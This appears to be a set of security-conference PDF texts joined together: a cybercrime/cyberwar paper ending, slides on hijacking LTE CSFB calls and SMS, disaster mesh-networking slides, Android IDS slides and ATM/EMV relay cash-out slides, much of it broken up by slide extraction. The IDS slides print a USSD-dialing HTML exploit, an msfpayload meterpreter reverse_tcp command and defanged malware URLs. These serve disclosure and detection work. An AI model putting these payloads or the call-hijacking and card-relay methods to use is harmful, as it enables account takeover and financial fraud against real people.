we check their methods of operation we can see they are quite similar and link back to the
"classic" cybercrime methods of operation we have witnessed over the past few years.
In the first incident, an “out of nowhere” attack on December 18th 2009 affected Twitter!s
DNS server in the US in a way that allowed the attackers to point traffic intended for Twitter
to attacker-controlled servers.
The attack was attributed to a group called the “Iranian Cyber Army” (as identified by the
webpage presented to users trying to access www.twitter.com).
There was no “Iranian Cyber Army” before the Twitter attack. There is, however, a group
called “Ashiyane” that was active both in the political side of hacking and directly in
cybercrime. Ashiyane has a small sub-group called the “Iranian Cyber Army”.
Ashiyane had been training hackers for some time and their forums were running contests
called “wargames”. The contest targeted different websites, prompting an “all-out” attack on
these sites in order to gain access, steal data, modify it, implant false data or deface the site.
Some of the targets named during these "wargames" were clearly related to critical
infrastructure (such as a natural gas provider in the US).
At the same time, Ashiyane was conducting more traditional cybercrime activities such as
credit card fraud, breaches to customer databases, to financial institutions and to personal
information used for spamming and identity theft.
The operational duality of a cybercrime organization – conducting "commercial" alongside
political cybercrime - is endorsed by governments who benefit first from an affective and
highly covert form of combat, and second from the income generated by commercial criminal
activities.
The Twitter attack was carried out using stolen credentials used to manage the DNS
services used by Twitter. This kind of data theft is often carried out by cybercrime
organizations in order to gain access to business data. The data is then sold for the purpose
of corporate espionage, to extort businesses or disrupt their services. This practice is a
notable part of the “training” provided at the Ashiyane group as part of its criminal activity.
Another factor tying the Twitter cyber crime activity to the Iranian government was the move
by the Iranian army to seize an Iraqi oil well on December 18th - the same exact day the
Twitter DNS attack took place.
A kinetic action done in conjunction with a cyber-attack on Twitter - a major resource of anti-
Iranian messaging (and a channel for opposition groups to speak out to the world) - is a
textbook example of how a government can combine cyber warfare with traditional warfare
to great effect.
Google's experience with the Chinese government (together with Adobe and a few dozen
other companies operating in the US) is almost the same as that of Twitter and the Iranian
government.
SECURITY & INNOVATION
Cyber[Crime|War]
Iftach Ian Amit 7 www.securityandinnovation.com
Although the notion of “APT” (Advanced Persistent Threat) started to pop up in the media
only in early 2010, the concept has been known by cybercrime researchers for a long time.
In fact, most of the tools used in cybercrime in the past 3-4 years are actually APTs, such as
trojans, rootkits and keyloggers.
All of them go undetected most of the time (hence their continued success) and perform
advanced functions, from network scanning to selective information gathering and providing
additional footholds over the breached networks.
Google has been hit by a somewhat older version of the threat (dubbed Aurora) that has a
fairly simple command and control structure and local capabilities. The interesting part in the
breach (which affected over 40 companies) that ended up on the news is the fact that the
attacks were highly targeted and abused undisclosed vulnerabilities. This enabled the
perpetrators to install the trojans on Google's equipment.
Again, attacks came from servers linked to China, and again, this does not necessarily mean
the Chinese government commissioned attacks on US companies. However, one cannot
ignore the connection between the Chinese government and these criminal activities,
especially when their targets do not yield any of the typical revenues of cybercrime and
when these attacks serve political aims (in Google!s case one of the goals was to infiltrate
the mail accounts of Chinese human rights activists).
Conclusion
Having seen how cybercrime and cyber warfare interconnect, along with the covert nature of
cyber warfare and the near impossibility of cracking down on it, it is obvious that combat in
the cyber sphere cannot be handled in the traditional form of combat.
While in the past command and control of national cyber warfare was in the hands of a
central agency with direct reports, its future looks more like international espionage:
including agents that can only be partially trusted, suppliers of arms (technology) that are
also active in underground or illegal activities and presence in countries that may not be
directly involved.
On the bright side, current efforts by law enforcement agencies to battle cybercrime may
actually turn out to be useful against cyber warfare. We also foresee a move toward
international cyber-treaties which would be based on the lessons learned at the field battling
cybercrime. Treaties along the lines of the recent US-Russian nuclear arms treaty, signed at
the end of March 2010 may pave the way for similar ones on the cyber front. | pdf |
Ghost Telephonist
Impersonates You Through LTE CSFB
Yuwei ZHENG, Lin HUANG Qing YANG, Haoqi SHAN, Jun LI
UnicornTeam, 360 Technology
July 30, 017
Who We Are
• 360 Technology is a leading Internet security company in China. Our
core products are anti-virus security software on PC and cellphones.
• UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a
group that focuses on the security issues in many kinds of
telecommunication systems.
• Highlighted works of UnicornTeam include:
• Low-cost GPS spoofing research (DEFCON 23)
• LTE redirection attack (DEFCON 24)
• Attack on power line communication (BlackHat USA 2016)
Voice Solutions in LTE Network
• VoLTE
• Voice over LTE, based on IP Multimedia Subsystem (IMS)
• Final target of network evolution
• CSFB
• Circuit Switched Fallback: switch from 4G to 3G or 2G when taking voice call
• SV-LTE
• Simultaneous Voice and LTE
• Higher price and rapid power consumption on terminal
Normal 2G Call vs. CSFB
When we analyze the
signaling flow of CSFB,
we were surprised to
find that there is no
authentication step.
But in normal 2G call,
AKA does exist for
every call.
Vulnerability in CSFB
Vulnerability in CSFB
• The principle is like someone comes out from the door of LTE, then enters the door of
GSM. He shouts ‘I must be as quick as possible!’ Then he is permitted to enter, without
the badge of GSM.
How can we exploit it?
• Basic idea
• Because CSFB hasn’t authentication procedure, attackers can
send Paging Response on 2G network, impersonating the victim,
then hijack the call link.
Experiment Environment
C118
OsmocomBB L1
OsmocomBB L2/3
Exploitation I – Random Hijack
The first idea we got, is to
randomly attack the
cellphones in CSFB status.
Attack Steps
• 1) Listen on PCH channel
• 2) Extract TMSI/IMSI in paging
• 3) Forging a paging response with the
TMSI/IMSI
• 4) Check whether MSC accepts the
paging response
Attack Signaling Flow
The Ghost Telephonist
gets control from here.
Why Network Sends Paging on 2G
• Cellphone stays in 4G
• Network sends paging message in 4G LTE PCH. But this paging message
uses 4G’s S-TMSI, not 2G’s TMSI.
• S-TMSI and TMSI are generated during combined attach or location
update procedure.
• C118 really hear paging messages
• In some cases, network sends paging message both on 4G and 2G.
• So using the TMSI captured on 2G can response the CSFB call on 4G.
• Usually the network sends TMSIs, but sometimes it sends IMSI.
Hijack Result
• C118 has no SIM card.
• C118 successfully hijacked one call from 139920.
Demo Video
What can attacker do in further?
• If attacker answers the incoming call
• The caller will recognize the callee’s voice is abnormal.
• What does attacker know now
• Victim’s TMSI or IMSI
• Caller’s phone number
• What can attacker do in further?
Exploitation II – Get Victim’s Phone Number
• During an ongoing call,
sending ‘CM Service
Request’ does not trigger
authentication, and the
network will directly response
a ‘CM Service Accept’.
• So attacker can make a call
to another in-hand phone to
know the victim’s ISDN
number.
Attack Signaling Flow
• 1) Send ‘hold’
• ) Send ‘CM Service
Request’
PCAP Records
Here are the records captured
by Wireshark on the laptop that
Osmocom is running on.
It confirmed that attackers can
build a MO call connection with
the network.
Success Rate
• Random attack success ratio is not high, because
• Usually network sends paging message on 4G, only occasionally
sends it on 2G. This depends on the core network implementation
and configuration.
• If the victim sends Paging Response earlier than the attacker, the
attack will fail.
Targeted Persistent Attack
• Former discussion is about randomly attack. Here we introduce targeted
persistent attack to hijack the victim’s link.
• Use TMSI
• Once attacker knows one TMSI, he can persistently send Paging Response with this
TMSI, no matter whether there is paging coming.
• Use IMSI
• If attacker knows one victim’s IMSI and know where he is, the attacker can go to the
same paging area, and continuously send paging response with the IMSI to hijack
the victim’s link.
• Use ISDN number
• If the attacker knows victim’s phone number the attacker can firstly call the victim
then capture the TMSI of the victim. After that use TMSI to launch the attack.
Targeted Persistent Attack – Use TMSI
• Condition
• Attacker knows victim’s TMSI
• Attack Steps
• ) Persistently sending Paging Response with this TMSI
• 2) Once victim has a Paging procedure existing, attacker can
quickly control the link.
Targeted Persistent Attack – Use IMSI
• Condition
• Attacker knows victim’s IMSI
• Attack Steps
• 1) Persistently sending Paging Response with this IMSI
• 2) Once victim has a Paging procedure existing, attacker can control the link.
• Disadvantage
• When network side receives Paging Response with IMSI, it has to find out the
corresponding TMSI, so this method will increase the link building latency then
consequently results in low ratio of successful attack.
Targeted Persistent Attack – Use phone number
• Condition
• Attacker knows victim’s ISDN number
• Attack Steps
• 1) Make a call to victim with an
anonymous cellphone, to trigger a CSFB;
Use one C118 to sniff TMSI
• 2) Use another C118 to continuously send
Paging Response with the TMSI and use
anonymous cellphone to make second
call to trigger CSFB again.
• ) Hijack and hold the victim’s link.
Advanced Exploitation – Attack Internet Account
• Login with verification SMS
• Some applications permits login with cellphone number + verification SMS. Don’t
require inputting password.
• Reset login password with verification SMS
• A lot of Internet application accounts use verification SMS to reset the login
password. Attacker can use the cellphone number to start a password reset
procedure then hijack the verification SMS.
Advanced Exploitation – Attack Internet Account
Advanced Exploitation – Attack Internet Account
• C118 Log shows it received
the SMS sent from Facebook
to the victim
Advanced Exploitation – Attack Internet Account
• We investigated the password reset routine of many popular
websites and applications, including global and Chinese ones, for
example SNS website, payment website, and IM App etc.
Demo Video
Special Points of Ghost Telephonist
• The victim cellphone keeps online
in 4G network and doesn’t sense
the attack.
• Attacker only needs fake 2G UE
and doesn’t need fake 4G base
station.
Different Behaviors from Different Terminals
• Different behaviors
• We found some cellphones are easily hijacked but some are not.
Cellphones with [] have
better defense against
this attack. Jamming is
needed to cut off the
connection between
victim cellphones and the
network.
Failure Analysis
• What ‘successful hijack’ means
• After the attacker sends Paging Response, he receives the call. This
means a successful hijack.
• Whether can hold the link
• When the attacker receives the call, the call may be interrupted after a
short time.
• The reason is: the victim cellphone didn’t receive the call and it wants to
‘Fast Return’ back to 4G, so it will launch a Location Area Update
procedure in 2G. This LAU results in the break of attacker’s link.
Fast Return Case 1 – Mi4C Cellphone, Qualcomm Chipset
Paging Response failure
Location Update not completed
Fast Return Case – Qiku Cellphone, MTK Chipset
Paging Response failure
Location Update completed
Jamming on the Victim
• Break victim’s LAU
• If the attacker sends jamming signal to the victim, this will break the
link between victim and network, so that the attacker can keep
holding the fake link.
• This will increase the success ratio of the attack.
• Disadvantage is the victim may sense the attack.
Countermeasures
• To operators
• Improve the CSFB authentication procedure. How long is the
added latency?
• Speed up VoLTE service deployment
• To Internet service provider
• Be alert that the PSTN authentication is not safe.
• The password reset procedure should be improved by additional
personal information check.
GSMA CVD Program
• What’s CVD Program?
• CVD Coordinated Vulnerability Disclosure Programme
• ‘Disclosures to GSMA must focus on open standards based
technologies which are not proprietary to a specific vendor but that
are used across, or have significant impact on, the mobile industry
(e.g. including but not limited to protocols specified by IETF, ITU,
ISO, ETSI, 3GPP, GSMA etc.)’
Good platform for reporting standard based vulnerability.
GSMA CVD Program
• UnicornTeam received the FIRST
acknowledgement on the Mobile
Security Research Hall of Fame.
• GSMA transferred the vulnerability
information to every operators.
• Now related operators are fixing or
already fixed this vulnerability.
Thank You ~ | pdf |
Staying Connected During a Revolution or Disaster
Thomas Wilhelm
Introduction / Background
Copyright Trustwave 2010
Confidential
Speaker Info – Thomas Wilhelm
Education
•
Masters Degrees in Computer Security:
− Computer Science
− Management
•
Ph.D. Student in Information Technology:
− Information Assurance and Security
Signal Intelligence
•
U.S. Army – SIGINT Analyst / Cryptanalyst
Certifications
•
ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM
Copyright Trustwave 2010
Confidential
Current Events
Revolutions
•
Egypt / Middle-East
•
Orchestrated via social networks
•
Decentralized
Natural Disasters
•
Tōhoku Earthquake and Tsunami
•
Hurricane Katrina
Copyright Trustwave 2010
Confidential
Impact to Telecommunication Loss
Impact of Telecommunication Loss
•
Loss of Life
•
Limits Response by Emergency Services
•
Disruption of organized events
•
Economic Loss
We need a method of creating an alternate method of
communicating with each other.
“People could not communicate. It got to the point that people were literally
writing messages on paper, putting them in bottles and dropping them from
helicopters to other people on the ground.”
Louisiana Sen. Robert Barham (R)
What Happens During Communication Breakdown
Copyright Trustwave 2010
Confidential
Telecommunication Loss
Loss of Communication for Different Reasons
Natural Disasters
•
Wipes out telecommunication infrastructures
•
Require days to months to re-establish
Government Suppression
•
Infrastructure remains intact
•
“Flip the Switch” and it is restored
− Historically, down for only a few days
Copyright Trustwave 2010
Confidential
Natural Disasters
Japanese Earthquake & Tsunami
Impacted:
•
Cellular / Landline phones
•
Power
•
Transportation
•
Undersea communication
Government / Corporate Response:
•
Use of loudspeakers
•
Television news broadcasts
•
Mobile cellular base stations
•
Increased of WiFi hotspots
Copyright Trustwave 2010
Confidential
Natural Disasters
Hurricane Katrina
Impacted:
•
Cellular / Landline phones
•
Local television stations
•
Power
•
Transportation
Response:
•
Relocation of news services
•
Mobile cellular base stations
•
Amateur radio operators
Copyright Trustwave 2010
Confidential
Human Impact of Katrina
Communication breakdown caused deaths
“With communications breakdowns critical information could
not be transmitted. The levees broke and no one other than local residents
knew about the massive flooding for several hours. Victims could not
communicate with possible responders which increased the lack of
response and devastation… Lack of communications at all levels increased the
chaos, deaths and destruction in the aftermath of Hurricane Katrina.”
Lieutenant Colonel Heather K. Meeds
United States Army National Guard
Copyright Trustwave 2010
Confidential
Revolutions
Egyptian Revolution
Impacted:
• Social networks
• Mobile phones
• Television network coverage
• Internet (Started Jan 27, finished Jan 31)
• SMS
• Landlines
Copyright Trustwave 2010
Confidential
Revolutions
Egyptian Revolution
Response:
• Used Smartphones as modems
• Landlines with dial-up modems
• Fax machines
• Amateur radio
Proposed Alternative:
• Wireless mesh network using laptops
Hand Held Technology
Copyright Trustwave 2010
Confidential
Ad Hoc Technology
Mesh Network
Data Dissemination:
•
Each node acts as a relay
•
Captures and disseminates data
Two Types:
•
Flooding Relay
•
Routing Relay
Interesting Examples:
•
Mobile ad hoc network (MANET)
•
Vehicular ad hoc network (VANET)
Copyright Trustwave 2010
Confidential
Purpose of Ad Hoc Technology
During a Revolution / Natural Disaster
Information Dissemination:
•
Revolution activities
•
Evacuation notices
•
Weather alerts
•
Decrease misinformation and fear
Emergency Services:
•
Fire / Police / Ambulance
•
Hospital locations and closures
Communication with relatives:
•
Rally points
•
Reassurance
Copyright Trustwave 2010
Confidential
Potential Ad Hoc Nodes
Laptops
Advantages:
•
TCP/IP stack already integrated
•
Meets / exceeds capabilities of routers
•
Flexible
− Apps, data storage, accessories
Disadvantages:
•
Expensive
•
Not very portable
•
Power hungry
•
Requires pre-existing software to be installed
Copyright Trustwave 2010
Confidential
Potential Ad Hoc Nodes
Amateur Radios
Advantages:
•
Big and small
•
Can be used to relay TCP/IP
•
Portable
•
Long signal reach
Disadvantages:
•
Specialized knowledge
•
Not ubiquitous
Copyright Trustwave 2010
Confidential
Potential Ad Hoc Nodes
Corporate / Government Options:
(Loudspeakers, mobile cellular base stations, television)
Advantages:
•
Authoritative information
Disadvantages:
•
Slow to respond
•
Requires infrastructure (base stations, television)
•
Consumes resources (helicopters, mobile police force)
Copyright Trustwave 2010
Confidential
Potential Ad Hoc Nodes
Cellular Smart Phones
(Assuming no cellular network)
Advantages:
•
Ubiquitous / Accepted technology
•
Low power consumption
•
Very portable
•
Flexible
− Apps, data storage, accessories
Disadvantages:
•
Limited range
•
Requires pre-existing software to be installed
Copyright Trustwave 2010
Confidential
Disaster Response
Need to have combination
•
Cellular phone services are very vulnerable to disruption
•
Power outages impact most responses
•
Portability is critical due to shifting circumstances
•
Security – need both secure and non-secure
•
Interoperability
Proposal for Future Ad Hoc Communication
Methods
Copyright Trustwave 2010
Confidential
Today’s Focus – Smart Phones
Communication Protocols
Wireless:
•
IEEE 802.11a/b/g
•
Bluetooth
Messaging and Data:
•
POP3
•
IMAP4
•
SMS
Location:
•
GPS antenna
Copyright Trustwave 2010
Confidential
Today’s Focus – Smart Phones
Potential Ad Hoc Networks
Mobile ad hoc network (MANET):
•
Works with current Internet technology
•
Longer ranges
•
Requires phone be capable of relaying data
•
Consumes power rapidly
Bluetooth ad hoc network:
•
Low power requirements
•
Short ranges
Copyright Trustwave 2010
Confidential
MANET vs. Bluetooth
Which to choose?
Mobile ad hoc network (MANET):
•
Internet connectivity is the goal
•
Useful when power is not an issue
Bluetooth ad hoc network:
•
Preferred when power is an issue
•
Data stays local – easier to disseminate information to a specific region
Copyright Trustwave 2010
Confidential
What Data?
During a Revolution / Natural Disaster
Emergency Alert Information Dissemination:
•
Revolution activities
•
Evacuation notices
•
Weather alerts
•
Hospital locations and closures
Emergency Services Command, Control & Communication (C3):
•
Fire / Police / Ambulance
Requires message validation and encryption
Auto-BAHN
Copyright Trustwave 2010
Confidential
Auto-BAHN Open Source Project
Automated Broadcast Ad Hoc Network
Goals:
•
Use existing smart phone technology to create ad hoc networks
•
Find shortest path possible to/from emergency services
•
Allow the population to create/join ad hoc communication channels as
needed
•
Provide Confidentiality and Integrity to some messages
•
Easy user interface
•
Integrated into current phone kernels
Copyright Trustwave 2010
Confidential
Technical Details
To be announced.
For information after the convention, please visit:
http://Hackerdemia.com
Conclusion | pdf |
BUILDING AN ANDROID IDS
ON NETWORK LEVEL
Jaime Sanchez
@segofensiva
http://www.seguridadofensiva.com
[email protected]
2
$
WHO
I
AM
§
Passionate
about
computer
security.
§
Computer
Engineering
degree
and
an
Execu7ve
MBA.
§
In
my
free
7me
I
conduct
research
on
security
and
work
as
an
independent
consultant.
§
I’m
from
Spain;
We’re
sexy
and
you
know
it.
§
Other
conferences:
§
RootedCON
in
Spain
§
Nuit
Du
Hack
in
Paris
§
Black
Hat
Arsenal
USA
§
Next
months:
DerbyCON
and
Hack7vity.
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
3
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
FIRST
TIME
IN
LAS
VEGAS
!!
4
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§
Being
popular
is
not
always
a
good
thing.
§
Mobile
malware
and
threats
are
clearly
on
the
rise.
§
Over
100
million
Android
phones
shipped
in
the
second
quarter
of
2012
alone.
§
Targets
this
large
are
difficult
for
aNackers
to
resist!
WHY?
5
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
USSD
EXPLOIT
WEBKIT
VULNERABILITIES
TARGETED
MALWARE
!!!
METERPRETER
FOR
ANDROID
!!!
6
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§
In
order
to
analyze
the
traffic
flows
we’ll
create
a
VPN
tunnel
between
our
Android
device
and
our
computer.
§
Configure
and
launch
snort
on
the
remote
machine
to
detect
suspicious
traffic.
§
We
can
also
use
tools
like
tcpdump
to
capture
traffic
for
later
analysis.
FIRST
APPROACH
VPN
eth0:WiFi
rmnet0: 3G
snort
tcpdump
7
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
PROBLEMS
8
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
CONTINUED
MY
LIFE
...
§
OSfooler
is
a
pracIcal
approach
presented
at
Black
Hat
Arsenal
USA
2013.
It
can
be
used
to
detect
and
defeat
acIve
and
passive
remote
OS
fingerprinIng
from
tools
like
nmap,
p0f
or
commercial
appliances.
FUCK YEAH!!
KERNEL
SPACE
USER
SPACE
§
KERNEL
SPACE
is
strictly
reserved
for
running
the
kernel,
kernel
extensions,
and
most
device
drivers.
§
USER
SPACE
usually
refers
to
the
various
programs
and
libraries
that
the
operaIng
system
uses
to
interact
with
the
kernel:
soQware
that
performs
input/output,
manipulates
file
system,
objects,
etc.
How
i
met
your
packet
From
kernel
Space
to
user
Heaven
9
FROM KERNEL SPACE TO USER HEAVEN
NUIT DU HACK 2013
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
VS
10
How I
met your
packets
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
NIC
Memory
DMA
Engine
Interrupt
Incoming
Packet
Ring
Buffer
Interrupt
Handler
NIC
Memory
Kernel
Packet
Data
IP
Layer
TCP
Process
TCP
recv
Buffer
APPLICATION
DEVICE
DRIVER
KERNEL
SPACE
USER
SPACE
Poll
List
so\irq
tcp_v4_rcv()
Pointer
to
Device
Socket
Backlog
ip_rcv()
read()
locally
des7ned
packets
must
pass
the
INPUT
chains
to
reach
listening
sockets
INPUT
FORWARD
PREROUTING
MANGLE
CONNTRACK
FILTER
forwarded
and
accepted
packets
Inbound
Packets
forwarded
packets
local
packets
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
How
i
met
your
packet
From
kernel
Space
to
user
Heaven
§
A
target
extension
consists
of
a
KERNEL
MODULE,
and
an
opIonal
extension
to
iptables
to
provide
new
command
line
opIons.
§
There
are
several
extensions
in
the
default
NeVilter
distribuIon:
12
FROM KERNEL SPACE TO USER HEAVEN
NUIT DU HACK 2013
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
§
For
this
to
be
useful,
two
further
components
are
required:
• a
QUEUE
HANDLER
which
deals
with
the
actual
mechanics
of
passing
packets
between
the
kernel
and
userspace
• a
USERSPACE
APPLICATION
to
receive,
possibly
manipulate,
and
issue
verdicts
on
packets.
§
The
default
value
for
the
maximum
queue
length
is
1024.
Once
this
limit
is
reached,
new
packets
will
be
dropped
unIl
the
length
of
the
queue
falls
below
the
limit
again.
$ iptables -A INPUT -j NFQUEUE --queue-num 0
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
14
DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§
I
need
to
process
traffic
before
being
processed
inside
my
Android
device.
§
I
can
redirect
all
network
packet
from
Kernel
Space
to
User
Space
§
I
can
do
whatever
I
want
with
the
packets:
analyze,
process,
modify
them
§
This
is
done
in
Real-‐7me.
SUMMARY
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
AndroIDS
§
Create
an
open
source
network-‐based
intrusion
detecIon
system
(IDS)
and
network-‐based
intrusion
protecIon
system
(IPS)
has
the
ability
to
perform
real-‐Ime
traffic
analysis
and
packet
logging
on
Internet
Protocol
(IP)
networks:
§
It
should
feature:
§
Protocol
analysis
§
Content
searching
§
Content
matching
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
IDS
ARCHITECTURE:
SENSOR
§
Runs
conInuously
without
human
supervision
and
feature:
§
Analyze
traffic
§
Send
push
alerts
to
the
Android
device
in
order
to
warn
the
user
about
the
threat
§
Report
to
Logging
Server
Custom
reacIve
acIons:
§
Drop
specific
packet
§
Add
new
rule
in
iptables
firewall
§
Launch
script
/
module
§
Sync
aaack
signatures
to
keep
them
updated.
§
It
should
impose
minimal
overhead.
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
IDS
ARCHITECTURE:
SERVER
§
The
server
is
running
inside
a
Linux
Box,
and
is
receiving
all
the
messages
the
Android
sensor
is
sending.
§
Server
is
responsible
for:
§
Send
signatures
to
remote
devices
§
Store
events
in
database
§
Detects
staIsIcal
anomalies
&
analysis
real-‐Ime.
Android
Device
Internet
Firewall
IDS
Server
&
Database
Web
Interface
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
PROTOCOL
ANALYSIS
LOOKS
LIKE
I
PICKED
THE
WRONG
WEEK
TO
QUIT
SNIFFING
PACKETS
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
EXAMPLE
§
Packet
with
FIN,
SYN,
PUSH
and
URG
flags
ac7ve.
§
Report
to
the
Central
Logger
and
DROP
the
packet.
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
REMOTE
OS
FINGERPRINTING
§
Detect
and
drop
packet
sent
from
well-‐known
scanning
tools.
§
nmap
OS
fingerprin7ng
works
by
sending
up
to
16
TCP,
UDP,
and
ICMP
probes
to
known
open
and
closed
ports
of
the
target
machine.
SEQUENCE
GENERATION
(SEQ,
OPS,
WIN
&
T1)
ICMP
ECHO
(IE)
TCP
EXPLICIT
CONGESTION
NOTIFICATION
(ECN)
TCP
T2-‐T7
UDP
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
PATTERN
MATCHING
I’M
WATCHING
YOU...
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
SIGNATURE
FORMAT
§
With
the
help
of
custom
build
signatures,
the
framework
can
also
be
used
to
detect
probes
or
aaacks
designed
for
mobile
devices
§
Useful
signatures
from
Snort
and
Emerging
Threats
§
Convert
snort-‐like
rules
to
a
friendly
format:
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
USSD
EXPLOIT
§
A
USSD
code
is
entered
into
phones
to
perform
acIons.
§
They
are
mainly
used
by
network
operators
to
provide
customers
with
easy
access
to
pre-‐
configured
services,
including:
§
call-‐forwarding
§
balance
inquiries
§
mulIple
SIM
funcIons.
§
The
HTML
code
to
execute
such
an
acIon
is
as
follows:
<a
href="tel:xyz">Click
here
to
call</a>
§
Example
exploit:
<frameset>
<frame
src="tel:*2767*3855#"
/>
</
frameset>
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
WEB
SIGNATURES
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
MALWARE
§
ANDR.TROJAN.SMSSEND
§
Download
from:
§
hxxp://adobeflashplayer-‐up.ru/?a=RANDOM_CHARACTERS
–
93.170.107.184
§
hxxp://googleplaynew.ru/?a=RANDOM_CHARACTERS
–
93.170.107.184
§
hxxp://browsernew-‐update.ru/?a=RANDOM_CHARACTERS
–
93.170.107.184
§
Once
executed,
connect
to
C&C:
gaga01.net/rq.php
§oard=unknown;brand=generic;device=generic;imei=XXXXXX;imsi=XXXXXX;session_i
d=1;operator=XXX;sms0=XXXXXX;sms1=XXXXXX;sms2=XXXXXX;]me=XXXXXX;]mezo
ne=XXXXXX
§
Search
paaern:
rq.php
§
METERPRETER
§
It
features
command
history,
tab
compleIon,
channels,
and
more.
§
Let’s
try:
$
msfpayload
android/meterpreter/reverse_tcp
LHOST=192.168.0.20
R
>
meter.apk
$
file
meter.apk
meter.apk:
Zip
archive
data,
at
least
v2.0
to
extract
DEFCON 21
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
T
H
A
N
K
Y
O
U
!
How
i
met
your
packet
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
Jaime
Sánchez
@segofensiva
[email protected] | pdf |
FROM CAPTURE TO CASHOUT
HACKING NEXT-GEN ATMS
Senior Security Consultant/Senior Pentester
TWITTER, LinkedIN @westonhecker
Rapid7 www.rapid7.com
A Little Bit About Myself
2
Senior Security Engineer / Senior Pentester / Security Researcher
with 12 years experience in programming and reverse engineering
Speaker at Defcon 22, 23 and 24 Las Vegas, HOPE 11,
TakedownCON 2016, B-sides Boston, Blackhat 2016, Enterprise
Connect 2016, ISC2, SC Congress Toronto
Other projects: Attacking 911 centers; malware and ransomware
analysis; hacking cars, point of sale systems, hotel key systems, and
property management systems.
3
EMV, Carder Systems, and Automating Cashout
Attacks on the EMV (Europay,
MasterCard, Visa) standard
Relay attacks on physical cards
A tour of a new method of distributing
stolen credit card data when
transactions have 1 minute shelf life
Attacking next generation ATM security
features
Look at ATM communication backends
to financial institutions
Introducing La-Cara: an automated
Ca$hout machine (ACM?)
Demos representing over 400 hours of
research on my own time
What is EMV?
•
Developed in France in the 1980s
•
Europay, MasterCard, and Visa
•
It is a small chip on card
•
Standard managed by EMVCo
•
Replaces magstripe cards
•
Liability shift 2015-2017 in USA
Your Grampa’s BINS the past
Cashing out on backend ?
Confidential and Proprietary
8
Confidential and Proprietary
9
Complete With
Spelling Errors !!
Acceptable timeframe for delimiting string.
5 Digit
Delimitation in
Time frame.
Transaction
Challenge for
device 1
Tunnel ID
internal
connection
Info Type
Quality
PIN
PAN
Limit
Flags
Feedback
Success
Analytics
Close Con
5 Digit
Delimitation
Initial Tunnel Info
Your Time Block
60 Second Block
60 Second Block
60 Second Block
60 Second Block
5 Digit Delimitati
on in Time frame
.
Transaction
Challenge f
or device 1
Tunnel ID internal
connection
Info Type
Quality
PIN
PAN
Limit
Flags
Feedback
Success
Analytics
Close Con
5 Digit Delimitation
Initial Tunnel Info
30 Seconds
Received over
Information
Acceptable time Frame for Delimiting String.
5 Digit Delimitati
on in Time frame
.
Transaction C
hallenge for d
evice 1
Tunnel ID interna
l connection
Info Type
Quality
PIN
PAN
Limit
Flags
Feedback
Success
Analytics
Close Con
5 Digit Delimitati
on
Initial Tunnel Info
Your Time Block
60 Second Block
60 Second Block
60 Second Block
60 Second Block
--STATIC MAG DATA TRACK 1 2 3
--EMV (DDA DYNAMIC AUTHENTICATION)
--EMV (CDA COMBINED DATA AUTHENTICATION)
--SOME 13.56 RFID NFC (NON TOKEN BASED)
REJECTS CARDS WITH FLAGS NOT SET FOR ATM
ASIDE FROM CARD PASS OFF BAD GUYS WILL ALSO GET PIN
NUMBER AND ASSUMED ATM LIMIT
What type of credit card data is possible to be sold in Real
time by the carders?
How is it used in this attack?
Confidential and Proprietary
14
Small
Carder Site
Leased
Gear
Mules/Store
Employees
Independents/Small
Breach
Here is the most likely method that sites get data that is sold.
Main
Carder Site
Small
Carder
Site
Mules
Independents
Stage one Initial
Transaction
Request
Hold for Round
Two
This is not cloning the card its relaying it X distance. There are
about 1 min windows.
4 stages of EMV transaction are being captured and released into a
tunnel to speak to another ATM or POS.
The cash out device regurgitates the exact “send and receive” from
a shimmed device to the cash out device.
The shimmed device is told to hold while the tunneled transaction
happens.
PIN information is also passed in real time to cash out device.
POS limit shimmed will not count against the ATM daily limit.
Shimmer VS Skimmer? Shimmers Found in Wild !
Cashout Device Standalone?
Confidential and Proprietary
20
21
Introducing La-Cara
Why would criminals automate cashout?
People are un-trustable
Cashout crews brag about it on social media
Busted humans rat out their accomplices
Machines don’t usually have twitter accounts.
Defcon Theme this year is Rise of the machines
@LaCaraATM
ATMs don’t have a twitter account ….
Making of La-Cara
That guy smiling like a child in the reflection
is me
25
Making of La-Cara
--
--
La-Cara
Swiss army
knife
Building your Own Banking Backend
Off branch ATM DES keys account signing
Each one of the accounts are signed with banking Keys
Each Card Transaction in Demo is Signed
